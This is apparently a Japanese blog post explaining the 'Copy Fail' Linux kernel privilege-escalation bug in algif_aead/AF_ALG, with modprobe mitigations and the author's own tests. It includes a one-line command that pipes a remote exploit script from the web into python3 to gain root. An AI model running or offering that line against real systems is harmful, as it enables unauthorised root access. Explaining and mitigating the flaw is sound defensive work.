Introduction
YouTube で知り、試してみたら本当に root を奪えて笑ってしまった。
報告ページは Copy Fail。
発見者の技術解説は Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.。
What’s this?
影響範囲
2017 年以降、暗号化 API AF_ALG を実装したディストリビューション全て。
原因
algif_aead モジュールにおいて、メモリを効率よく使うインプレース最適化を行っていたが、その実装がまずかった。
修正は、このインプレース最適化を元に戻す。
具体的にどうまずかったかというと、AF_ALG というカーネルの暗号化サブシステムを非特権ユーザー空間に公開するソケットがあるが、システムコール splice はページキャッシュページの参照渡し (コピーではない!!) を行い、AEAD (Authenticated Encryption with Associated Data) ラッパー authencesn が境界外へ 4 バイト書き込むことでページキャッシュ上の /usr/bin/su を書き換えることができてしまった。
対策
- パッチを適用し再起動
- 脆弱性の起点となった暗号化 API
AF_ALGを無効にする (応急処置)
応急処理
すぐにパッチを適用できない場合。
1 | $ echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf |
Ubuntu とか root ログインできない場合は
1 | $ sudo sh -c 'echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf' |
応急処理実施後
1 | $ curl https://copy.fail/exp | python3 && su |
念のため再起動しても、上記のようになることを確認。
修正による影響
何もないに等しい。
- 影響しないもの
- m-crypt/LUKS、kTLS、IPsec/XFRM、カーネル内TLS、OpenSSL/GnuTLS/NSS デフォルトビルド、SSH、カーネルキーリング暗号化
- 影響する可能性のあるもの
- AF_ALG を使用するように特別に構成されたユーザー空間
- 例
- エンジンが明示的に有効になっているOpenSSL
- 一部の組み込み暗号化オフロードパス
- ソケットを直接 afalg バインドするアプリケーション
- 例
- AF_ALG を使用するように特別に構成されたユーザー空間
- パフォーマンス
- AF_ALG はカーネルの暗号化 API へのユーザー空間からの入り口であり、無効にしても、既にこれを呼び出していた処理以外には速度低下は発生しない
- 既に呼び出していた処理については、通常のユーザー空間暗号化ライブラリにフォールバックするだけであり、この挙動は他のほとんどの処理が既に行っている
Have a try!!
ということで試してみた。
実行環境は
1 | $ uname -a |
簡単すぎる。
ただ、このスクリプトは x86 向けなのか、 aarch64 ホストマシン上ではエラーになる。
1 | $ uname -a |
ということに気づいた人はいたようで既に公式 Git に PR Add aarch64 port #42 が出ていた。
1 | $ id |
脆弱性のあるホスト上のコンテナ内から実行しても問題なし。
1 | $ uname -a |
草しか生えない。

